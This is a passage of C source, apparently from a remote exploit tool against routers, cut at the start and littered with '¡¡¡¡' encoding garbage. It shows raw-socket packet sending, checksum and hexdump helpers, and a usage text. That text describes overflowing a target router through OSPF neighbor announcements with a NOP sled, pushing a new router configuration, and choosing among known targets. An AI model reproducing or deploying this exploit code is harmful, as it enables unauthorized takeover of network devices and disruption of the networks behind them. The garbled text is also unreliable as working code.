¡¡¡¡sfd,SOL_SOCKET,SO_BROADCAST, ¡¡¡¡(void *)&t,sizeof(int)) != 0) { ¡¡¡¡perror("setsockopt"); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡} ¡¡¡¡return sfd; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡int sendpack_IP4(int sfd, u_char *packet,int plength) { ¡¡¡¡struct sockaddr_in sin; ¡¡¡¡iphdr_t *iph; ¡¡¡¡ ¡¡¡¡iph=(iphdr_t *)packet; ¡¡¡¡ ¡¡¡¡memset(&sin,0,sizeof(struct sockaddr_in)); ¡¡¡¡sin.sin_family=AF_INET; ¡¡¡¡sin.sin_port=htons(0); ¡¡¡¡memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr)); ¡¡¡¡ ¡¡¡¡if (sendto(sfd,packet,plength,0, ¡¡¡¡(struct sockaddr *) &sin, ¡¡¡¡sizeof(struct sockaddr_in)) <=0) { ¡¡¡¡perror("sendto()"); ¡¡¡¡return(-1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡return 0; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡ ¡¡¡¡u_int16_t chksum(u_char *data, unsigned long count) { ¡¡¡¡u_int32_t sum = 0; ¡¡¡¡u_int16_t *wrd; ¡¡¡¡ ¡¡¡¡wrd=(u_int16_t *)data; ¡¡¡¡while( count > 1 ) { ¡¡¡¡sum = sum + *wrd; ¡¡¡¡wrd++; ¡¡¡¡count -= 2; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8); ¡¡¡¡while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } ¡¡¡¡return (~sum); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡void *smalloc(size_t size) { ¡¡¡¡void *p; ¡¡¡¡ ¡¡¡¡if ((p=malloc(size))==NULL) { ¡¡¡¡fprintf(stderr,"smalloc(): malloc failed\n"); ¡¡¡¡exit (-2); ¡¡¡¡} ¡¡¡¡memset(p,0,size); ¡¡¡¡return p; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡ ¡¡¡¡// /dirty ¡¡¡¡ ¡¡¡¡ ¡¡¡¡/* A better version of hdump, from Lamont Granquist. Modified slightly ¡¡¡¡* by Fyodor (fyodor@DHP.com) ¡¡¡¡* obviously stolen by FX from nmap (util.c)*/ ¡¡¡¡void hexdump(unsigned char *bp, unsigned int length) { ¡¡¡¡ ¡¡¡¡/* stolen from tcpdump, then kludged extensively */ ¡¡¡¡ ¡¡¡¡static const char asciify[] = "................................ \ ¡¡¡¡!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrst \ ¡¡¡¡uvwxyz{|}~............................................................................ \ ¡¡¡¡....................................................."; ¡¡¡¡ ¡¡¡¡register const u_short *sp; ¡¡¡¡register const u_char *ap; ¡¡¡¡register u_int i, j; ¡¡¡¡register int nshorts, nshorts2; ¡¡¡¡register int padding; ¡¡¡¡ ¡¡¡¡printf("\n\t"); ¡¡¡¡padding = 0; ¡¡¡¡sp = (u_short *)bp; ¡¡¡¡ap = (u_char *)bp; ¡¡¡¡nshorts = (u_int) length / sizeof(u_short); ¡¡¡¡nshorts2 = (u_int) length / sizeof(u_short); ¡¡¡¡i = 0; ¡¡¡¡j = 0; ¡¡¡¡while(1) { ¡¡¡¡while (--nshorts >= 0) { ¡¡¡¡printf(" %04x", ntohs(*sp)); ¡¡¡¡sp++; ¡¡¡¡if ((++i % 8) == 0) ¡¡¡¡break; ¡¡¡¡} ¡¡¡¡if (nshorts < 0) { ¡¡¡¡if ((length & 1) && (((i-1) % 8) != 0)) { ¡¡¡¡printf(" %02x ", *(u_char *)sp); ¡¡¡¡padding++; ¡¡¡¡} ¡¡¡¡nshorts = (8 - (nshorts2 - nshorts)); ¡¡¡¡while(--nshorts >= 0) { ¡¡¡¡printf(" "); ¡¡¡¡} ¡¡¡¡if (!padding) printf(" "); ¡¡¡¡} ¡¡¡¡printf(" "); ¡¡¡¡ ¡¡¡¡while (--nshorts2 >= 0) { ¡¡¡¡printf("%c%c", asciify[*ap], asciify[*(ap+1)]); ¡¡¡¡ap += 2; ¡¡¡¡if ((++j % 8) == 0) { ¡¡¡¡printf("\n\t"); ¡¡¡¡break; ¡¡¡¡} ¡¡¡¡} ¡¡¡¡if (nshorts2 < 0) { ¡¡¡¡if ((length & 1) && (((j-1) % 8) != 0)) { ¡¡¡¡printf("%c", asciify[*ap]); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡} ¡¡¡¡} ¡¡¡¡if ((length & 1) && (((i-1) % 8) == 0)) { ¡¡¡¡printf(" %02x", *(u_char *)sp); ¡¡¡¡printf(" %c", asciify[*ap]); ¡¡¡¡} ¡¡¡¡printf("\n"); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡void usage(char *s) { ¡¡¡¡int i; ¡¡¡¡ ¡¡¡¡fprintf(stderr,"Usage: \n" ¡¡¡¡"%s -s -n -d -f " ¡¡¡¡" -t \n" ¡¡¡¡"Options:\n" ¡¡¡¡"-s Use this network as source (as in target config)\n" ¡¡¡¡"-n Use this netmask as source (as in target config)\n" ¡¡¡¡"-d This is the target router interface IP\n" ¡¡¡¡"-f Use this as the new config for the router\n" ¡¡¡¡"-t # Use this target value set (see below)\n" ¡¡¡¡"-a Use this OSPF area\n" ¡¡¡¡"-v Be verbose (-vv or -vvv recommended)\n" ¡¡¡¡"-D Directed attack (unicast) for 11.x targets\n" ¡¡¡¡"-T Test only - don't send\n" ¡¡¡¡" --- barely used options ---\n" ¡¡¡¡"-L # Number of neighbors to announce (overflow size)\n" ¡¡¡¡"-F # Start of data (seen reverse to overflow)\n" ¡¡¡¡"-S # NOP sleet\n" ¡¡¡¡"\n" ¡¡¡¡"Known targets:\n" ¡¡¡¡,s); ¡¡¡¡ ¡¡¡¡for (i=0;i<=TARGETS;i++) ¡¡¡¡fprintf(stderr,"\t%s\n",targets[i].description); ¡¡¡¡ ¡¡¡¡exit (1); ¡¡¡¡} |
|
|
|
|
|
|
|